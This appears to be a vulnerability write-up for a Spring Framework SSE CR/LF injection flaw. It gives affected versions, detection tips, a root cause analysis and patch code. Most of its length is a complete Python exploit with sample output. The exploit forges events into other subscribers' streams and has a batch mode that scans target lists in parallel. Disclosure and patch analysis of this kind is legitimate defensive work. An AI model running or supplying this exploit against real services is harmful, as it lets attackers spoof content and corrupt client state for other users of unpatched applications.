#Summary

CVE-2026-59313 is a CR/LF injection vulnerability (CWE-93) in Spring Framework's functional web framework SSE (Server-Sent Events) support. When an application passes attacker-controlled text to ServerResponse.sse(...) methods, carriage return (CR) and line feed (LF) characters are not properly sanitized. This allows an attacker to inject arbitrary SSE events that other stream subscribers receive, corrupting their event stream and potentially spoofing content.

CVSS Score: 9.8 (NVD) / 2.6 (Vendor) - the vendor score reflects the bounded impact: client-side content spoofing and state corruption, not server-side code execution.

#Am I affected?

#Specific Attack Surface

Only the functional ServerResponse.sse(...) API is affected. Annotated @Controller methods returning SseEmitter belong to sibling CVEs (CVE-2026-47890, CVE-2026-22735). The vulnerability applies only when attacker-controlled data reaches these builder methods as plain-text strings:

JSON-based messages are safe, because JSON encoding turns CR into the escape sequence \r before it reaches the wire.

#How to check

#Check your Spring Framework version

On a running application with the Spring Boot actuator, request the metrics endpoint or check the console logs at startup:

curl http://your-app:8080/actuator/env | grep spring

Look for spring.webmvc.framework.version or the Spring-Framework-Version manifest entry in the JAR. Any version below 7.0.9 in the affected ranges (5.3.0-49, 6.0.0-30, 6.1.0-28, 6.2.0-19, 7.0.0-8) is vulnerable.

Spring Framework Version Status Spring Boot BOM (if applicable)
< 5.3.0 Not affected Pre-Spring Boot 2.7
5.3.0 - 5.3.49 Vulnerable Spring Boot 2.7.x
6.0.0 - 6.0.30 Vulnerable Spring Boot 3.0.x - 3.0.6
6.1.0 - 6.1.28 Vulnerable Spring Boot 3.1.x - 3.1.4
6.2.0 - 6.2.19 Vulnerable Spring Boot 3.2.x - 3.2.1
7.0.0 - 7.0.8 Vulnerable Spring Boot 4.0.0 - 4.0.7
>= 7.0.9 Patched Spring Boot 4.0.8+

#Check your application code

Search your codebase for ServerResponse.sse(:

grep -r "ServerResponse.sse" src/

If this appears and your application publishes untrusted user input into the stream, the risk is high.

#Fix and mitigation

#Upgrade immediately

To upgrade in Maven:

<properties>
  <spring-framework.version>7.0.9</spring-framework.version>
</properties>

Or use Spring Boot 4.0.8+, which pins the patched framework version:

<parent>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-parent</artifactId>
  <version>4.0.8</version>
</parent>

#If you cannot upgrade

Sanitize attacker-controlled strings before passing them to the SSE builder. The fix applies to all five sinks; the most common are send() and data():

private String sanitizeForSSE(String value) {
  if (value == null) return "";
  // Remove or replace CR and LF
  return value.replace("\r", " ").replace("\n", " ");
}

// Then use it:
sse.send(sanitizeForSSE(userInput));

Alternatively, migrate to JSON-based messages, which are unaffected:

// NOT VULNERABLE - JSON escaping protects this
sse.send(() -> ServerResponse.sse(builder -> 
  builder.data(Map.of("message", userInput)).send()
);

#Detection

Monitor application logs for requests that contain literal 0x0D bytes in the SSE publish endpoint. In HTTP request logs, look for unusual character sequences in message bodies (often hexdumped as 0d). A successful attack may also show multiple SSE events arriving on the client side from a single server-side send.

#Root cause analysis

#Vulnerable code path

Spring Framework's DefaultSseBuilder class (the implementation of ServerResponse.sse(...)) contained five methods that wrote attacker-controlled strings directly into the SSE response without sanitizing line separators.

The primary sink is writeString, called by send(String) and data(String):

private void writeString(String string) throws IOException {
    String[] lines = string.split("\n");
    for (String line : lines) {
        field("data", line);
    }
    this.send();
}

The shared field() method concatenates values with no escaping:

private SseBuilder field(String name, String value) {
    this.builder.append(name).append(':').append(value).append('\n');
    return this;
}

The id() and event() methods are even weaker, since they bypass field() and append directly:

public SseBuilder id(String id) {
    Assert.hasLength(id, "Id must not be empty");
    return field("id", id);  // No separator check at all
}

public SseBuilder event(String eventName) {
    Assert.hasLength(eventName, "Name must not be empty");
    return field("event", eventName);  // No separator check at all
}

#How input reaches the sink

The SSE wire format is line-oriented. According to the HTML Living Standard, a line ends at CRLF, a bare CR, or a bare LF. Spring's split("\n") only splits on LF, so a bare CR survives into the response body unchanged. When a client's event-stream parser reads this, it treats the CR as a line terminator and starts parsing a new field - exactly what the attacker injected.

A worked example: an application calls sse.send(userText) with userText = "hi\r\revent:injected\rdata:stolen" (where \r is a real 0x0D byte):

User input:  hi<CR><CR>event:injected<CR>data:stolen
Split on LF: ["hi<CR><CR>event:injected<CR>data:stolen"]  (still one element)
field() writes: data:hi<CR><CR>event:injected<CR>data:stolen<LF><LF>

A spec-compliant SSE client parser reads this as:

data:hi           → accumulate "hi"
<CR> (line break) → 
<CR> (empty line) → dispatch "message" event with data "hi"
event:injected    → set event type to "injected"
<CR> (line break) →
data:stolen       → accumulate "stolen"
<LF> (line break) →
<LF> (empty line) → dispatch "injected" event with data "stolen"

The server sent one event. The client received two, the second entirely attacker-controlled.

#Patch diff

#What the fix does

The patch introduces SseUtils.appendFieldValue(), a centralized sanitizer that recognizes all three line separators (CR, LF, CRLF) and rewrites each one to preserve the field structure:

public static void appendFieldValue(String field, String value, StringBuilder output) {
    if (value.indexOf('\n') == -1 && value.indexOf('\r') == -1) {
        output.append(value);
        return;
    }
    String lineSeparatorReplacement = "\n" + field + ":";
    int length = value.length();
    for (int i = 0; i < length; i++) {
        char c = value.charAt(i);
        if (c == '\r') {
            if (i + 1 < length && value.charAt(i + 1) == '\n') {
                i++;  // Consume CRLF as a single separator
            }
            output.append(lineSeparatorReplacement);
        }
        else if (c == '\n') {
            output.append(lineSeparatorReplacement);
        }
        else {
            output.append(c);
        }
    }
}

When a CR or LF is encountered, it is replaced with "\n" + field + ":", turning it into a continuation of the same field. For example, sse.data("line1\rline2") becomes data:line1\ndata:line2, so both lines stay within the same data: field.

For single-line fields like id() and event(), the fix applies strict validation:

public static void assertNoLineSeparator(String content) {
    Assert.isTrue(content.indexOf('\n') == -1 && content.indexOf('\r') == -1,
            "illegal character '\\n' or '\\r' in event content");
}

Updated SseServerResponse methods now use these utilities:

public SseBuilder id(String id) {
    Assert.hasLength(id, "Id must not be empty");
    SseUtils.assertNoLineSeparator(id);
    this.builder.append("id:").append(id).append('\n');
    return this;
}

public SseBuilder event(String eventName) {
    Assert.hasLength(eventName, "Name must not be empty");
    SseUtils.assertNoLineSeparator(eventName);
    this.builder.append("event:").append(eventName).append('\n');
    return this;
}

private SseBuilder field(String name, String value) {
    this.builder.append(name).append(':');
    SseUtils.appendFieldValue(name, value, this.builder);
    this.builder.append('\n');
    return this;
}

#Proof of concept

#exploit.py - Spring Framework SSE CR/LF Injection PoC

#!/usr/bin/env python3
"""
CVE-2026-59313 - CR/LF injection into Spring MVC functional-web-framework SSE streams
Affected: Spring Framework 5.3.0-5.3.49, 6.0.0-6.0.30, 6.1.0-6.1.28, 6.2.0-6.2.19, 7.0.0-7.0.8
Type: Response-body injection (CWE-93), SSE event forging / stream corruption

An application that publishes attacker-influenced text into a Server-Sent Events stream
via ServerResponse.sse(...) does not neutralise line separators. A bare CR (0x0D) escapes
a data: field, and a doubled CR closes the event outright, so a single server-side send()
lets the attacker append a whole extra event with a chosen event: type, data: payload and
id: to every other subscriber of the stream.

Usage:
  python exploit.py --host 192.168.1.10 --port 8080
  python exploit.py --host https://feed.corp.com --sink event
  python exploit.py --host http://10.0.0.5:9000/app --stream-path /events --publish-path /notify
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import re
import secrets
import socket
import ssl
import sys
import threading
import time
from urllib.parse import quote, urlparse

CVE_ID    = "CVE-2026-59313"
VULN_TYPE = "SSE CR/LF injection"

USER_AGENT = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
              "(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36")

# Payload defaults per sink. {NONCE} is replaced with fresh random hex on every run.
# The data/comment sinks split on LF only in the vulnerable build, so they need a bare CR.
# The event/id sinks do no splitting at all, so a plain LF is enough there.
CR_PAYLOAD = 'hi\\r\\revent:stream-override\\rdata:{"injected":true,"nonce":"{NONCE}"}\\rid:31337'
LF_PAYLOAD = 'evt\\ndata:injected-{NONCE}'

SINKS = ("send", "data", "event", "id", "comment")


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")

def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")

def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")

def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# ---------------------------------------------------------------------------
# Payload handling
# ---------------------------------------------------------------------------

def unescape(text: str) -> str:
    """Turn the escape sequences a shell can carry into real control bytes.

    A bare CR cannot survive most command lines, so the payload is written with \\r and
    \\n and decoded here. Done by hand rather than via unicode_escape so that non-ASCII
    text in the payload is left alone.
    """
    out = []
    i = 0
    n = len(text)
    simple = {"r": "\r", "n": "\n", "t": "\t", "0": "\0", "\\": "\\"}
    while i < n:
        c = text[i]
        if c == "\\" and i + 1 < n:
            nxt = text[i + 1]
            if nxt in simple:
                out.append(simple[nxt])
                i += 2
                continue
            if nxt == "x" and i + 3 < n:
                try:
                    out.append(chr(int(text[i + 2:i + 4], 16)))
                    i += 4
                    continue
                except ValueError:
                    pass
        out.append(c)
        i += 1
    return "".join(out)


def build_payload(sink: str, template: str | None, nonce: str) -> str:
    if template is None:
        template = LF_PAYLOAD if sink in ("event", "id") else CR_PAYLOAD
    return unescape(template.replace("{NONCE}", nonce))


# ---------------------------------------------------------------------------
# SSE parsing, per the HTML Living Standard event-stream rules
# ---------------------------------------------------------------------------

_LINE_SPLIT = re.compile(r"\r\n|\r|\n")


def parse_event_stream(raw: bytes) -> tuple[list[dict], list[str]]:
    """Parse an event stream into dispatched events plus the comment lines seen.

    Lines are terminated by CRLF, a bare CR or a bare LF, and a blank line dispatches the
    accumulated event. This is deliberately a from-spec implementation: the whole point of
    the bug is that the server assumed LF is the only separator and a conformant client
    does not.
    """
    text = raw.decode("utf-8", "replace")
    lines = _LINE_SPLIT.split(text)
    events: list[dict] = []
    comments: list[str] = []
    data = ""
    event_type = ""
    last_id = ""
    retry = ""

    for line in lines:
        if line == "":
            # Blank line: dispatch. An empty data buffer means no event is fired.
            if data != "":
                events.append({
                    "event": event_type or "message",
                    "data": data[:-1] if data.endswith("\n") else data,
                    "id": last_id,
                    "retry": retry,
                })
            data = ""
            event_type = ""
            retry = ""
            continue
        if line.startswith(":"):
            comments.append(line[1:])
            continue
        if ":" in line:
            field, value = line.split(":", 1)
            if value.startswith(" "):
                value = value[1:]
        else:
            field, value = line, ""
        if field == "data":
            data += value + "\n"
        elif field == "event":
            event_type = value
        elif field == "id" and "\0" not in value:
            last_id = value
        elif field == "retry" and value.isdigit():
            retry = value
    return events, comments


def bare_cr_offsets(raw: bytes) -> list[int]:
    """Offsets of every CR that is not part of a CRLF pair. None of these can exist in a
    stream written by a patched build."""
    return [i for i, b in enumerate(raw)
            if b == 0x0D and (i + 1 >= len(raw) or raw[i + 1] != 0x0A)]


# ---------------------------------------------------------------------------
# Minimal HTTP over a raw socket, so the stream can be read incrementally
# ---------------------------------------------------------------------------

class ChunkedDecoder:
    """Incremental Transfer-Encoding: chunked decoder.

    Necessary rather than cosmetic: the chunk delimiters are themselves CRLF pairs, so
    hexdumping the raw socket without stripping the framing would show carriage returns
    that have nothing to do with the SSE writer.
    """

    def __init__(self, enabled: bool):
        self.enabled = enabled
        self.buf = b""
        self.remaining = 0
        self.finished = False

    def feed(self, data: bytes) -> bytes:
        if not self.enabled:
            return data
        self.buf += data
        out = b""
        while True:
            if self.remaining > 0:
                take = min(self.remaining, len(self.buf))
                out += self.buf[:take]
                self.buf = self.buf[take:]
                self.remaining -= take
                if self.remaining > 0:
                    break
                # Trailing CRLF after the chunk body.
                if len(self.buf) < 2:
                    break
                self.buf = self.buf[2:]
                continue
            idx = self.buf.find(b"\r\n")
            if idx == -1:
                break
            size_line = self.buf[:idx].split(b";", 1)[0].strip()
            try:
                size = int(size_line, 16)
            except ValueError:
                # Not chunked after all; hand the rest back untouched.
                out += self.buf
                self.buf = b""
                self.enabled = False
                break
            self.buf = self.buf[idx + 2:]
            if size == 0:
                self.finished = True
                break
            self.remaining = size
        return out


def open_socket(host: str, port: int, use_tls: bool, timeout: float) -> socket.socket:
    sock = socket.create_connection((host, port), timeout=timeout)
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        sock = ctx.wrap_socket(sock, server_hostname=host)
    return sock


def read_headers(sock: socket.socket, timeout: float) -> tuple[str, dict, bytes]:
    sock.settimeout(timeout)
    buf = b""
    while b"\r\n\r\n" not in buf:
        chunk = sock.recv(4096)
        if not chunk:
            break
        buf += chunk
        if len(buf) > 65536:
            break
    if b"\r\n\r\n" not in buf:
        raise OSError("no HTTP response headers received")
    head, rest = buf.split(b"\r\n\r\n", 1)
    lines = head.decode("iso-8859-1").split("\r\n")
    status = lines[0]
    headers = {}
    for line in lines[1:]:
        if ":" in line:
            k, v = line.split(":", 1)
            headers[k.strip().lower()] = v.strip()
    return status, headers, rest


class Subscriber:
    """A held-open GET on the SSE endpoint, read incrementally on a background thread.

    This is the victim's connection. Everything the exploit asserts on is taken from what
    arrives here, which is exactly what any other user of the application would receive.
    """

    def __init__(self, host: str, port: int, use_tls: bool, path: str, timeout: float):
        self.sock = open_socket(host, port, use_tls, timeout)
        req = (f"GET {path} HTTP/1.1\r\n"
               f"Host: {host}:{port}\r\n"
               f"User-Agent: {USER_AGENT}\r\n"
               f"Accept: text/event-stream\r\n"
               f"Cache-Control: no-cache\r\n"
               f"Connection: keep-alive\r\n\r\n")
        self.sock.sendall(req.encode("iso-8859-1"))
        self.status, self.headers, rest = read_headers(self.sock, timeout)
        self.content_type = self.headers.get("content-type", "")
        chunked = "chunked" in self.headers.get("transfer-encoding", "").lower()
        self.decoder = ChunkedDecoder(chunked)
        self.body = bytearray(self.decoder.feed(rest))
        self.lock = threading.Lock()
        self.stopped = False
        self.thread = threading.Thread(target=self._read_loop, daemon=True)
        self.thread.start()

    def _read_loop(self) -> None:
        self.sock.settimeout(0.5)
        while not self.stopped:
            try:
                data = self.sock.recv(8192)
            except socket.timeout:
                continue
            except OSError:
                break
            if not data:
                break
            decoded = self.decoder.feed(data)
            if decoded:
                with self.lock:
                    self.body.extend(decoded)

    def snapshot(self) -> bytes:
        with self.lock:
            return bytes(self.body)

    def wait_for_growth(self, mark: int, seconds: float) -> bytes:
        """Wait until bytes arrive past `mark` and the stream settles, then return them."""
        deadline = time.time() + seconds
        last_len = mark
        settled_at = None
        while time.time() < deadline:
            body = self.snapshot()
            if len(body) > last_len:
                last_len = len(body)
                settled_at = time.time()
            elif settled_at is not None and time.time() - settled_at > 0.4:
                break
            time.sleep(0.1)
        return self.snapshot()[mark:]

    def close(self) -> None:
        self.stopped = True
        try:
            self.sock.close()
        except OSError:
            pass


def publish(host: str, port: int, use_tls: bool, path: str, payload: str,
            param: str | None, timeout: float) -> tuple[str, str]:
    """Push the payload into the stream from a second connection. Raw bytes, no line
    ending normalisation anywhere, or the bare CR never reaches the server."""
    body = payload.encode("utf-8")
    sock = open_socket(host, port, use_tls, timeout)
    try:
        if param:
            target = f"{path}?{param}={quote(payload, safe='')}"
            req = (f"GET {target} HTTP/1.1\r\n"
                   f"Host: {host}:{port}\r\n"
                   f"User-Agent: {USER_AGENT}\r\n"
                   f"Accept: */*\r\n"
                   f"Connection: close\r\n\r\n").encode("iso-8859-1")
        else:
            req = (f"POST {path} HTTP/1.1\r\n"
                   f"Host: {host}:{port}\r\n"
                   f"User-Agent: {USER_AGENT}\r\n"
                   f"Content-Type: text/plain; charset=utf-8\r\n"
                   f"Content-Length: {len(body)}\r\n"
                   f"Accept: */*\r\n"
                   f"Connection: close\r\n\r\n").encode("iso-8859-1") + body
        sock.sendall(req)
        status, _, rest = read_headers(sock, timeout)
        sock.settimeout(timeout)
        while True:
            try:
                data = sock.recv(8192)
            except (socket.timeout, OSError):
                break
            if not data:
                break
            rest += data
        return status, rest.decode("utf-8", "replace")
    finally:
        try:
            sock.close()
        except OSError:
            pass


# ---------------------------------------------------------------------------
# Verdict
# ---------------------------------------------------------------------------

def assess(sink: str, events: list[dict], comments: list[str], nonce: str,
           bare_crs: list[int]) -> tuple[bool, str]:
    """Decide whether the stream escaped the field the application chose.

    A patched build confines the attacker's text to exactly one field: data for
    send/data, a comment for comment, and for event/id it refuses the value outright and
    writes nothing. Anything else is the injection.
    """
    marker = f"injected-{nonce}"

    if sink in ("send", "data"):
        if len(events) > 1:
            # Prefer the event carrying this run's nonce: on a shared broadcast stream the
            # last event may well belong to somebody else's publish.
            forged = next((e for e in events[1:] if nonce in e["data"] or nonce in e["id"]),
                          events[-1])
            return True, (f"{len(events)} events dispatched from one send(); forged event "
                          f"type={forged['event']!r} id={forged['id']!r} data={forged['data']!r}")
        if events and (events[0]["event"] != "message" or events[0]["id"]):
            return True, (f"single event carries injected fields: type={events[0]['event']!r} "
                          f"id={events[0]['id']!r}")
        if events:
            return False, ("payload confined to one data field (patched): "
                           f"data={events[0]['data']!r}")
        return False, "no event dispatched on the stream"

    if sink == "comment":
        if events:
            forged = next((e for e in events if nonce in e["data"] or nonce in e["id"]),
                          events[-1])
            return True, (f"comment escaped into a dispatched event: type={forged['event']!r} "
                          f"id={forged['id']!r} data={forged['data']!r}")
        if comments:
            return False, f"payload stayed inert as {len(comments)} comment line(s) (patched)"
        return False, "nothing arrived on the stream"

    # event / id: the value should never reach a data field.
    for ev in events:
        if marker in ev["data"] or (nonce and nonce in ev["data"]):
            return True, (f"injected data line parsed as its own field: type={ev['event']!r} "
                          f"id={ev['id']!r} data={ev['data']!r}")
    if events:
        return False, f"value confined to the {sink} field (patched): data={events[0]['data']!r}"
    if bare_crs:
        return True, f"bare CR on the wire at offset(s) {bare_crs[:4]} but no event dispatched"
    return False, "nothing written to the stream, framework refused the value (patched)"


# ---------------------------------------------------------------------------
# Scan mode
# ---------------------------------------------------------------------------

def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/", sink: str = "send",
                 stream_path: str = "/stream", publish_path: str | None = None,
                 payload_tpl: str | None = None, param: str | None = None,
                 timeout: float = 8.0, wait: float = 3.0) -> tuple[bool, str]:
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
    base = path.rstrip("/") if path and path != "/" else ""
    if publish_path is None:
        publish_path = "/publish" if sink in ("send",) else f"/publish/{sink}"
    nonce = secrets.token_hex(8)
    payload = build_payload(sink, payload_tpl, nonce)
    sub = None
    try:
        sub = Subscriber(host, port, use_tls, base + stream_path, timeout)
        if " 200" not in sub.status:
            return False, f"stream endpoint returned {sub.status.strip()!r}"
        if "text/event-stream" not in sub.content_type:
            return False, f"not an event stream (content-type {sub.content_type!r})"
        time.sleep(0.6)
        mark = len(sub.snapshot())
        status, _ = publish(host, port, use_tls, base + publish_path, payload, param, timeout)
        fresh = sub.wait_for_growth(mark, wait)
        events, comments = parse_event_stream(fresh)
        return assess(sink, events, comments, nonce, bare_cr_offsets(fresh))
    except Exception as exc:
        return False, f"unreachable ({exc.__class__.__name__})"
    finally:
        if sub is not None:
            sub.close()


def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple | None:
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, **kwargs) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}"
        ok, evidence = _try_exploit(host, port, use_tls, path, **kwargs)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------------------

def hexdump(raw: bytes, limit: int = 512) -> str:
    out = []
    view = raw[:limit]
    for off in range(0, len(view), 16):
        row = view[off:off + 16]
        hexpart = " ".join(f"{b:02x}" for b in row)
        asciipart = "".join(chr(b) if 32 <= b < 127 else "." for b in row)
        out.append(f"{off:08x}  {hexpart:<47}  |{asciipart}|")
    if len(raw) > limit:
        out.append(f"... {len(raw) - limit} more bytes")
    return "\n".join(out)


def exploit(host: str, port: int, use_tls: bool, path: str, sink: str, stream_path: str,
            publish_path: str | None, payload_tpl: str | None, param: str | None,
            timeout: float, wait: float) -> None:
    header(host, port)

    base = path.rstrip("/") if path and path != "/" else ""
    if publish_path is None:
        publish_path = "/publish" if sink == "send" else f"/publish/{sink}"
    nonce = secrets.token_hex(8)
    payload = build_payload(sink, payload_tpl, nonce)

    step(1, f"Opening the victim subscription: GET {base + stream_path}")
    try:
        sub = Subscriber(host, port, use_tls, base + stream_path, timeout)
    except Exception as exc:
        done(False, f"could not open the SSE stream: {exc.__class__.__name__}: {exc}")

    try:
        section("STREAM RESPONSE", f"{sub.status.strip()}\nContent-Type: {sub.content_type}")
        if " 200" not in sub.status:
            done(False, f"stream endpoint returned {sub.status.strip()!r}, not 200")
        if "text/event-stream" not in sub.content_type:
            done(False, f"endpoint is not an event stream (Content-Type {sub.content_type!r})")

        time.sleep(0.8)
        baseline = sub.snapshot()
        mark = len(baseline)
        if baseline:
            base_events, _ = parse_event_stream(baseline)
            section("STREAM BEFORE INJECTION",
                    f"{len(baseline)} bytes, {len(base_events)} event(s)\n{baseline!r}")

        step(2, f"Publishing the payload into the {sink} sink: POST {base + publish_path}")
        section("PAYLOAD (real control bytes, nonce {})".format(nonce),
                f"{payload!r}\n\n{hexdump(payload.encode('utf-8'))}")
        try:
            status, reply = publish(host, port, use_tls, base + publish_path, payload, param, timeout)
        except Exception as exc:
            done(False, f"publish request failed: {exc.__class__.__name__}: {exc}")
        section("PUBLISH RESPONSE", f"{status.strip()}\n{reply}")

        step(3, "Reading what the victim subscription received")
        fresh = sub.wait_for_growth(mark, wait)
        if not fresh:
            done(False, f"no bytes reached the victim stream through the {sink} sink, "
                        "consistent with the framework rejecting the separator (patched)")
        section("VICTIM STREAM, NEW BYTES (chunk framing stripped)", f"{fresh!r}")
        section("VICTIM STREAM, HEXDUMP", hexdump(fresh))

        step(4, "Wire-level check: is there a bare CR the server never meant to emit?")
        crs = bare_cr_offsets(fresh)
        if crs:
            section("BARE CR BYTES",
                    f"{len(crs)} carriage return(s) not followed by LF, at offset(s) {crs}\n"
                    "A patched build rewrites every separator into a data: continuation, so "
                    "none of these can occur.")
        else:
            section("BARE CR BYTES", "none present in the received bytes")

        step(5, "Parser-level check: feeding the bytes to a from-spec event-stream parser")
        events, comments = parse_event_stream(fresh)
        rendered = []
        for i, ev in enumerate(events, 1):
            rendered.append(f"event #{i}: type={ev['event']!r} id={ev['id']!r} "
                            f"retry={ev['retry']!r} data={ev['data']!r}")
        if comments:
            rendered.append(f"comment lines: {comments!r}")
        section("EVENTS DISPATCHED BY THE CLIENT PARSER",
                "\n".join(rendered) if rendered else "no events dispatched")

        ok, evidence = assess(sink, events, comments, nonce, crs)
        if ok:
            extra = ""
            if len(events) > 1:
                extra = (" The application called send() once; the client dispatched "
                         f"{len(events)} events.")
            forged_ids = [ev["id"] for ev in events if ev["id"]]
            if forged_ids:
                extra += (f" Last-Event-ID is now {forged_ids[-1]!r}, which the client echoes "
                          "back to the server on reconnect.")
            section("IMPACT", (f"An attacker-controlled event reached another user's stream.{extra}"))
            done(True, f"SSE injection confirmed via the {sink} sink - {evidence}")
        done(False, f"no injection through the {sink} sink - {evidence}")
    finally:
        sub.close()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/app)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8080, help="Default port (default: 8080)")
    parser.add_argument("--payload", default=None,
                        help="Injection string. \\r and \\n are decoded to real control bytes and "
                             "{NONCE} is replaced per run. Default depends on --sink.")
    parser.add_argument("--sink", choices=SINKS, default="send",
                        help="SseBuilder method the application feeds attacker text to (default: send)")
    parser.add_argument("--stream-path", default="/stream",
                        help="Path of the SSE subscription endpoint (default: /stream)")
    parser.add_argument("--publish-path", default=None,
                        help="Path that publishes into the stream (default: derived from --sink)")
    parser.add_argument("--publish-param", default=None, metavar="NAME",
                        help="Send the payload as this GET query parameter instead of a raw POST body")
    parser.add_argument("--timeout", type=float, default=8.0, help="Socket timeout in seconds (default: 8)")
    parser.add_argument("--wait", type=float, default=3.0,
                        help="Seconds to read the victim stream after publishing (default: 3)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, sink=args.sink,
             stream_path=args.stream_path, publish_path=args.publish_path,
             payload_tpl=args.payload, param=args.publish_param,
             timeout=args.timeout, wait=args.wait)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.sink, args.stream_path, args.publish_path,
                args.payload, args.publish_param, args.timeout, args.wait)

#Usage

# Single target, default send() sink
python exploit.py --host 192.0.2.40 --port 8080

# Full URL with custom paths
python exploit.py --host https://feed.example.net:8443/app --stream-path /events --publish-path /notify

# Weaker sinks that need only LF
python exploit.py --host 192.0.2.40 --sink event
python exploit.py --host 192.0.2.40 --sink id

# Batch scan from a file
python exploit.py --list targets.txt --workers 20

# Custom payload with nonce
python exploit.py --host 192.0.2.40 --payload 'ok\r\revent:alert\rdata:{"n":"{NONCE}"}\rretry:1'

#Output - Vulnerable Target (Spring Framework 7.0.8)

============================================================
  RESULT  : SUCCESS
  EVIDENCE: SSE injection confirmed via the send sink - 2 events dispatched from one send(); forged event type='stream-override' id='31337' data='{"injected":true,"nonce":"d6a1c1ddddcceab2"}'
============================================================

The victim stream receives:

data:hi
(empty line from bare CR)
event:stream-override
data:{"injected":true,"nonce":"d6a1c1ddddcceab2"}
id:31337
(empty line from final LF)

The client parser dispatches two events from one server-side send().

#Output - Patched Target (Spring Framework 7.0.9)

============================================================
  RESULT  : FAILURE
  EVIDENCE: no injection through the send sink - payload confined to one data field (patched): data='hi\n\nevent:stream-override\ndata:{"injected":true,"nonce":"9b44f4da37264055"}\nid:31337'
============================================================

The victim stream receives:

data:hi
data:
data:event:stream-override
data:data:{"injected":true,"nonce":"9b44f4da37264055"}
data:id:31337
(empty line)

All injected content is confined to a single data: field. One event is dispatched.

#Exploitation notes

#References